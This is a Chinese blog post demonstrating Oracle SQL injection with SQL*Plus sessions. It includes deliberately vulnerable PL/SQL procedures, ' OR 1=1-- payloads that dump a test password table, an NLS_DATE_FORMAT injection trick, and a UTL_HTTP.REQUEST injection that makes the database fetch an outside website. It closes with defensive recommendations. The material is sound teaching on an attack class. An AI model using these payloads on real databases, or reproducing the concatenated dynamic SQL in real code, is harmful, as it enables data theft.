百度百科对SQL注入的描述是这样的:“用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。”这有点含混不清,到底如何“提交一段数据库查询代码”呢?

其实SQL注入是一种安全漏洞,假设应用程序如果接受终端用户的SQL输入,那么在输入中拼接一部分SQL代码后传递给应用,应用就会给出终端用户本来没有权限查看的信息。

那么针对oracle数据库开发,SQL注入具体通过哪些方式实现?

1.   SQL篡改或拼接

常见的方法就是在sql的where语句中追加 “or1=1”之类的sql代码,比如下面的

试验A:

SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWD VARCHAR2(10));

Table created

SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123');

1 row inserted

SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY');

1 row inserted

SQL> COMMIT;

Commit complete

SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ1(V_UID VARCHAR2) IS

2    V_SQL LONG;

3    CUR_INJ SYS_REFCURSOR;

4    R_INJ USER_PWD%ROWTYPE;

5 BEGIN

6    V_SQL:='

7      SELECT * FROM USER_PWD whereUSERID='''||V_UID||'''';

8    DBMS_OUTPUT.put_line(V_SQL);

9

10    OPEN CUR_INJ FOR V_SQL;

11

12    LOOP

13      FETCH CUR_INJ INTO R_INJ;

14      EXIT WHEN CUR_INJ%NOTFOUND;

15     DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');

16    END LOOP;

17    CLOSE CUR_INJ;

18

19 END;

20 /

Procedure created

SQL> SET SERVEROUT ON;

--用户XXX查询自己的数据

SQL> EXEC P_SQL_INJ1('XXX');

SELECT * FROM USER_PWD where USERID='XXX'

USERID:XXX,PASSWORD:XXX123...

PL/SQL procedure successfully completed

--被SQL篡改后,查到了USER_PWD表中的所有数据

SQL> EXEC P_SQL_INJ1('''  OR1=1--'' ');

SELECT * FROM USER_PWD where USERID='' OR 1=1--' '

USERID:XXX,PASSWORD:XXX123...

USERID:YYY,PASSWORD:456YYY...

PL/SQL procedure successfully completed

上面的例子中,存储过程输入参数是字符型,通过输入参数拼装的动态SQL很容易被改写,最终导致了数据泄露。而Thomas Kyte演示了当输入参数是date格式时的SQL注入漏洞,请看试验B:

SQL> DROP TABLE USER_PWD;

Table dropped

SQL> CREATE TABLE USER_PWD(USERID VARCHAR2(20),PASSWDVARCHAR2(10),CREATEDATE DATE);

Table created

SQL> INSERT INTO USER_PWD VALUES('XXX','XXX123',TRUNC(SYSDATE-1));

1 row inserted

SQL> INSERT INTO USER_PWD VALUES('YYY','456YYY',TRUNC(SYSDATE));

1 row inserted

SQL> COMMIT;

Commit complete

SQL> CREATE OR REPLACE PROCEDURE P_SQL_INJ2(D_DT DATE) IS

2    V_SQL LONG;

3    CUR_INJ SYS_REFCURSOR;

4    R_INJ USER_PWD%ROWTYPE;

5 BEGIN

6    V_SQL:='

7      SELECT * FROM USER_PWD whereCREATEDATE='''||D_DT||'''';

8    DBMS_OUTPUT.put_line(V_SQL);

9

10    OPEN CUR_INJ FOR V_SQL;

11    LOOP

12      FETCH CUR_INJ INTO R_INJ;

13      EXIT WHEN CUR_INJ%NOTFOUND;

14     DBMS_OUTPUT.put_line('USERID:'||R_INJ.USERID||',PASSWORD:'||R_INJ.PASSWD||'...');

15    END LOOP;

16    CLOSE CUR_INJ;

17

18 END;

19 /

Procedure created

--正常的查询

SQL> EXEC P_SQL_INJ2(TRUNC(SYSDATE));

SELECT * FROM USER_PWD whereCREATEDATE='21-7月 -15'

USERID:YYY,PASSWORD:456YYY...

PL/SQL procedure successfully completed

--存储过程P_SQL_INJ2的输入参数是date型,没法通过拼接字符串的方式篡改sql,真的是这样么?

SQL> EXEC P_SQL_INJ2('''  OR1=1--'' ');

begin P_SQL_INJ2('''  OR 1=1--'' ');end;

ORA-01858: 在要求输入数字处找到非数字字符

ORA-06512: 在 line 1

SQL> ALTER SESSION SETNLS_DATE_FORMAT='"'' OR 1=1--" ';

Session altered

--通过修改NLS_DATE_FORMAT的格式,可以在date类型后拼接sql,其实原理跟试验A是一样的

SQL> exec P_SQL_INJ2(trunc(sysdate));

SELECT * FROM USER_PWD where CREATEDATE='' OR 1=1-- '

USERID:XXX,PASSWORD:XXX123...

USERID:YYY,PASSWORD:456YYY...

PL/SQL procedure successfully completed

2.   函数调用注入

--下面这个translate函数把字母和数字之外的特殊字符全部屏蔽了,起到了防止SQL注入的作用

SQL> select translate(upper('xxx'''' OR 1=1--'' ''')

2                 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'

3                 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')

4     from dual;

TRANSLATE(UPPER('XXX''''OR1=1-

------------------------------

XXX  OR 11

--但是将UTL_HTTP.REQUEST函数注入后,却执行了一个访问某网站的操作

SQL> select translate(''||UTL_HTTP.REQUEST('http://www.e0575.com/')||''

2                  ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_#$@.?`~!%^*()-=+{}[];":''?/><,|\'

3                 ,'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890')

4     from dual;

TRANSLATE(''||UTL_HTTP.REQUEST

--------------------------------------------------------------------------------

DOCTYPE html PUBLIC W3CDTD XHTML 10 TransitionalENhttpwwww3orgTRxhtml1DTDxhtml1

html xmlnshttpwwww3org1999xhtml

head

meta httpequivContentType contenttexthtml charsetutf8

title老城市 新生活绍兴E网title

meta nameKeywords content绍兴绍兴E网

meta nameDescription content绍兴E网免费为您提供美食、优惠券、打折、休闲娱乐、招聘、二手、租房等绍兴生活消费指南绍兴E网  绍兴消费

link hrefhttpwwwe0575comcssbasecss relstylesheet typetextcss

link hrefhttpwwwe0575compic2011css relstylesheet typetextcss

link hrefhttpwwwe0575comcssindexcss relstylesheet typetextcss

meta namebaidusiteverification content3OyMlCknGWjOrpq5

style typetextcss

tgc goods  width81px height120pxfloatleft marginleft5px marginright5px marginbo

tgc goods gdpic  padding 1pxborder1px solid CCCCCC

tgc goods gdother  lineheight18pxtextaligncenter

ggxx1  width90 heightautooverflowhidden margin10px auto

ggxx1 li  floatleft width100heightauto overflowhidden padding7px 0 lineheight16

style

head

body

div classtopBar

div classm2ul classm1li classm3onmouseoutlayershowtopbarhide onmouseoverlayer

div classt1分类信息div

div classt2ahrefhttpwwwe0575comjob targetblank招聘求职a a hrefhttpwwwe0575comseco

3.     还有一些其他方法,实现更加复杂,不做详细研究了

现在对Oracle的SQL注入漏洞有了初步的了解,那么在数据库层面能够有效防止漏洞的主要措施有:

1.用translate或自定义函数对用户输入进行判断、合规性验证;

2.尽量不要使用动态拼装SQL,多用绑定变量的SQL或者存储过程进行数据查询存取;

3.应用使用的数据库连接需要单独设置低权限级别,切不可使用管理员用户;

4.重要和敏感的信息比如密码等字段要加密,即使被窃取也很难破解成明文;

5.通过应用调用的函数、存储过程等的错误信息要进行封装,不要直接报数据库自带的错误。

Oracle的SQL注入相关推荐

  1. oracle防止sql注入proc,解密:Oracle怎么防SQL注入

    昨天我们说了怎么绕过waf进行sql注入,今天我们继续这个话题,说说Oracle数据库本身在防sql注入方面做了哪些工作. Oracle从8i开始PL/SQL中涌现出了大量SQL注入漏洞,直至11.2 ...

  2. [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  3. [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)

    当您阅读到该篇文章时,作者已经将"网络安全自学篇"设置成了收费专栏,首先说声抱歉.感谢这一年来大家的阅读和陪伴,这100篇安全文章记录了自己从菜鸡到菜鸟的成长史,该部分知识也花了很 ...

  4. Oracle学习总结(6)—— SQL注入技术

    不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一. SQL注入基 ...

  5. oracle延时盲注如何防止,【原创】WEB安全第四章SQL注入篇21 oracle 延时注入

    WEB安全第四章SQL注入篇21 oracle 延时注入 1.简介 DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制.首先,不能直接将该函数注入子查询中,因为O ...

  6. sql注入oracle(1)

    sql注入oracle 1. 判断为oracle and exist (select * from dual ) 或者and (selecr count(*) from user_tables)> ...

  7. oracle 注入靶场,pick靶场-sql注入

    甲.数字型注入 数字型注入一般提交值没有引号,所以直接在后面构造语句就可以了. 抓包查看 构造语句 提交后 该数据库表内容被爆出来了. 乙.字符型注入 首先我们要知道一点,字符串在数据库中提交是需要用 ...

  8. Oracle 存储过程 字符串拼接 SQL注入的问题

    之前项目中写的一个大的存储过程 中间用到的SQL字符串拼接的方法 来完成业务的流程 类似SQL的动态拼接把 为什么要有用到这种形式 因为我这个存储过程里面要处理 至少三个系统的六种情况 所以使用拼接的 ...

  9. 云端应用SQL注入攻击

    实验目的及要求: 完成VMware Workstations14平台安装,会应用相关操作: 完成Windows server2008R2操作系统及Kali Linux操作系统的安装: 掌握SQLmap ...

  10. dnslog 在 sql注入中的应用

    目录 1.DNSLOG的原理 2.Dnslog在常见数据库中SQL注入的实战 1.MySQL 2.msSQL 3.postgreSQL 4.Oracle 3.总结 1.DNSLOG的原理 DNS的解析 ...

最新文章

  1. 什么是用户智能,它与数据有什么关系?
  2. C语言再学习 -- NUL和NULL的区别
  3. HDOJ1907 SG问题
  4. 【APICloud系列|34】免费使用的ChromeDebug 模块
  5. matlab中的神经网络训练,MATLAB中的神经网络训练
  6. python气象绘图_Python气象绘图教程特刊(一)
  7. 无痕驱动读写注入EAC BE
  8. 通过 a 标签下载文件
  9. python语言绘制词云图
  10. SSO单点登录Java实现实例
  11. 数据库出错提示Duplicate entry * for key *的解决方法
  12. SQL 日期交差判断
  13. 「保姆级教学」带你闹清楚JAVA人的TOM猫是啥,再整明白Mac下怎么安装Tomcat
  14. 和python有关的转换音素的网址
  15. 计算机认知训练效果,维持认知健康人群晚年认知功能的计算机认知训练
  16. 美团王慧文:顶尖高手,如何做决策?
  17. java 给pdf解密_PDF文件如何解密?分享一个简单的PDF解密方法
  18. MATLAB画四分之一球封口,在MATLAB中如何将离散点拟合成曲面图
  19. 财务用access和mysql_《用ACCESS制作的会计记账程序》代码
  20. mysql复制之HeartBeat介绍和裂脑

热门文章

  1. GTK使用cairo绘图教程
  2. 世界上第一台二进制电子计算机,世界上公认第一台电子计算机.doc
  3. 超市网店营销与接口测试
  4. 2-5.多进程、多线程、异步携程
  5. 制作简单的个人Logo
  6. 小班安全使用计算机教案,幼儿园小班安全教案(精选5篇)
  7. 移动体验大作战,冰桶算法全盘点
  8. 图数据库扫盲和图数据选用
  9. privilege权限级别的命令介绍及实例分析
  10. cannot import name '_validate_lengths' from 'numpy.lib.arraypad'